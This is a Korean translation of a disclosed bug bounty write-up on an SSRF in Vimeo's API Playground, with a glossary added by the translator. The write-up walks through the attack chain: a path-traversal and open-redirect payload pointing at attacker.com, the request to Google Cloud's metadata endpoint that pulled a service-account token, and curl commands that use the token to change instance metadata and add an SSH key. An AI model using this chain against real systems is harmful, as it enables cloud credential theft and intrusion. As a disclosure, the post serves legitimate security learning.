[번역/분석]Vimeo에 SSRF 코드 실행으로 4900달러 버그 바운티 받은 썰

해당 본문을 번역한 글이라고 알림

Vimeo SSRF with code execution potential. | by Harsh Jaiswal | InfoSec Write-ups (infosecwriteups.com)

해당 번역은 오역이 있을수 있음을 알립니다. 

 

Vimeo SSRF with code execution potential.

 

---

최근에 나는 Vimeo에 SSRF를 통한 코드 실행이 가능하다는것을 찾았어 이 블로그 내용은 내가 어떻게 찾았고 코드 실행까지 했는지 설명을 하는내용이야 . 자 가보자구~ 

배경지식

Vimeo는 API Playground라고 불리는 API 콘솔을 제공을 해. 이건 이 웹앱을 서버사이드에서 사용되는 요청(request)이야 

아래 그림이 해당 예시야 

기본적인 요청이지 

이 요청은 서버사이드에서 GET으로 

https://api.vimeo.com/users/{user_id}/videos/{video_id}

만약에 너가 이 요청을 자세히 보면 우리는 많은것들을 요청하고불러올수 있어. 첫번째로 엔드포인트에 도달한 엔드포인트인 uri 파라미터 이다. (uri parameter which is the endpoint to hit on endpoint)

즉 이 /users/{user_id}/videos/{video_id} 같은 경우에는 요청 메소드가 POST인 경우 post 파라미터야 하는데 GET 파라미터로 되어 있다.user_id 와 video_id 들은 세그먼트 파라미터에 정의되는 변수들이다. 

HTTP 요청의 순회는 서버사이드에서 만들어 진다.

나는 URI 파라미터는 내가 만든 길(path)로 바꾸는것을 시도했으나 URI를 바꾸는 어떤 시도는 403 에러가 떴다. 이는 

API 엔드포인트를 허용을 해준다는것이다. 하지만 user_id와 videos_id 같은 변수들을 바꾸는것은 가능한데 왜냐하면  이 변수들은 목적이 있고 URL의 길을 나타내기 떄문이다.  ../../../로 지나가는(접속하는) 것은 api.vimeo.com의 ROOT로 가는 결과를 나타낼것이다. 

아래에 내용을 확인해봐라 

URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)

Result: https://api.vimeo.com/attacker

HTTP에 순회길 요청은 서버사이드에서 만드는것이다 .

보다 싶히 만약에 권한부여 요청을 할때 api.vimeo.com의 엔드포인트 response는 api.vimeo.com의 root response의 리스트들인것을 확인할수 있다. 

그래서 아직도 api.vimeo.com의 호스트에 있잖아, 어떻게 빠져 나와?

흠, HTTP 30X 리다이텍를 알아냈다. 이것 논리적 사고가 조금 필요한 긴 이야기가 될것이다

암튼, 이게 HTTP 리다이렉트로 작동을 하는것을 알아 냈으니 우린 한발짝 더 나아간것이다. 

우리는 redirect 서버를 우리가 직접 조종하기 위해서는 open redirect가 필요하다 

 

좋은 옛날  내용 발견…

내용을 발견한지 1분만에  우리가 변조하려 했던 vimeo.com 링크에 리다이렉션을 해주는 엔드포인트를 발견했다

https://api.vimeo.com/m/something

api.vimeo.com 에서 vimeo.com 로 ! 

좋았어!! 이제 우리는 넓은 범위에서 open redirct를 찾을수 있다! vimeo.com에 그다지 유용하지 않은 open redirect가 있는데 이것에 대해 자세히는 밝히지는 않겠지만  대충 이런 느낌으로 했다고 생각을 해줘 

https://vimeo/vulnerable/open/redirect?url=https://attacker.com

이렇게 하면 attacker.com에 302 redirect를 할수 있어! 

 

Chain은 리다이랙트하는 해커들의 중요한 자산이다...

우리가 컨트롤할 서버를 리다이랙트할 마지막 페이로드는 

../../../m/vulnerable/open/redirect?url=https://attacker.com

내부에서 video_id 값을 URL을 이런식으로  통과할것이다. 

https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com

 

파싱을 이런식으로 될것이다

https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com

HTTP 리다이렉션은 이런식으로 

https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com

다른 방식의 HTTP 리다이렉션은 이런 방법으로! 

https://attacker.com

 

SSRF 취약점이 성공적으로 실행했고  자세한  open 리다이렉트 내용과 내 도메인에 대해서는 삭제 했다 

서버는 JSON 파라미터와 response에 반응을 한다.

공격을 해보자 (Exploiting)..

Vimeo는 구글 클라우드 기반으로 되어있어서, 난 구글 metadata API 접속을 시도를 했다. 나는 André Baptista (0xacb) 를 참고하여 실행을 했다  ( André Baptista (0xacb) 의 링크 https://hackerone.com/reports/341876 )

 

이 엔드포인트는 계정 토큰 서비스를 줬다 

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }

토큰의 범위 

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  
 Response:{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }

I could then use this token to add my public SSH key to the instance and then connect via my private key

 이 토큰으로 내 public SSH 키를 추가할수 있어서  내 private 키를 통해 연결을 했다. 

$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}
Response: { “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}

그러고 나니

키가 추가 되었다!! 

 

하지만 SSH 포트는 내부 네트워크에서만 열려있다 :(( 하지만 이건 내부에서 쉘 입력으로 연결될수 있다는것을 증명하기 충분했다 

Kubernetes 키 또한 metadata API에서 추출할수 있지만 몇몇가지 이유들로 인해 나는 사용을 하지 않았다  Vimeo 측에서도 그것들이 가능하다고 인정했지만 말이다 

 

내  작업들이랑 Vimeo의 관여로 인해 , 보통 하는것보다 더 깊숙히 연구를 할수 있었다

여기까지입니다! 트위터에 공유해주면 더 감사할것 같습니다 이거에 관해서 질문은 @ rootxharsh으로 DM 부탁 드립니다 

 

 이번 작업에 감사드리는 사람들 

 

 

이 작업에 허락을 해주신 Vimeo team 

Andre (0xacb) 의 완벽한 보고서 

 이 SSRF  보고서를 써준 Brett (bbuerhaus)  (이 사람과 Ben  이 개 쩌는 문서 작성  능력을 갖고 있다)

타임라인

1월 28t일 : 초기 발견 

1월 28일 :  HackerOne team에 보고 

1월 28일: Vimeo 측에서 초기 보상금 $100 을 받고 임시로 고쳤다 

1월 30일 ~31일: 완전히 고침 

2월 1일 : $4900 보상금 받음 

 

 

 

---

vidmeo 회사는 어떤회사?

제작된 동영상을 업로드하고 공유를 할수 있는 웹사이트 이다. 

SSRF

Server Side Request Forgery 의 약자로 HTTP를 위조된 요청을 발생시켜서 직접적인 접근이 제한된 서버 내부에 접근해서 데이터 유출 ,오동작을 유발하는 공격을 말한다. 쉽게 말해서 서버를 속여서 서버가 하는 요청을 위조해서 공격을 한다고 말할수 있다 

공격 기법이 CSRF(Cross Site Request Forgery) 와 비슷해서 헷갈릴수 있는데 공격 대상이 서버측인지 클라이언트 측인지를 통해서 CSRF와 SSRF를 구별을 할수 있다. 

CSRF를 간단하게 말하면 사용자를 하이재킹해서 그 사용자의 자산(권한)을 노리는것인데 SSRF는 사용자 없이 바로 서버 자체를 노리기 때문에 HTTP 요청을 서버로 보내는것만으로도 악성 활동을 할수 있다. 

 

Kubernetes  

쿠버네티스는 구글에서 만들어진 플랫폼으로 컨테이너화 된 워크로드와 서비스를 관리하기 위한 오픈소스 플랫폼이다. 

한 물리서버에 여러 어플리케이션을 효율적으로 돌리기 위해 가상화를 도입을 하였고 이와 비슷한 격리 속성인 컨테이너는 운영체재와 어플리케이션간의 공유를 하는것을 컨테이너라고 한다 

쿠버니티스를 사용하면 암호, OAuth토큰 및 SSH 키와 같은 중요한 정보를 저장하고 관리할수 있다. 컨테이너 이미지를 재구성하지 않고 스택 구성에 시크릿을 노출하지 않고도 어플리케이션 구성을 배포 할수 있다.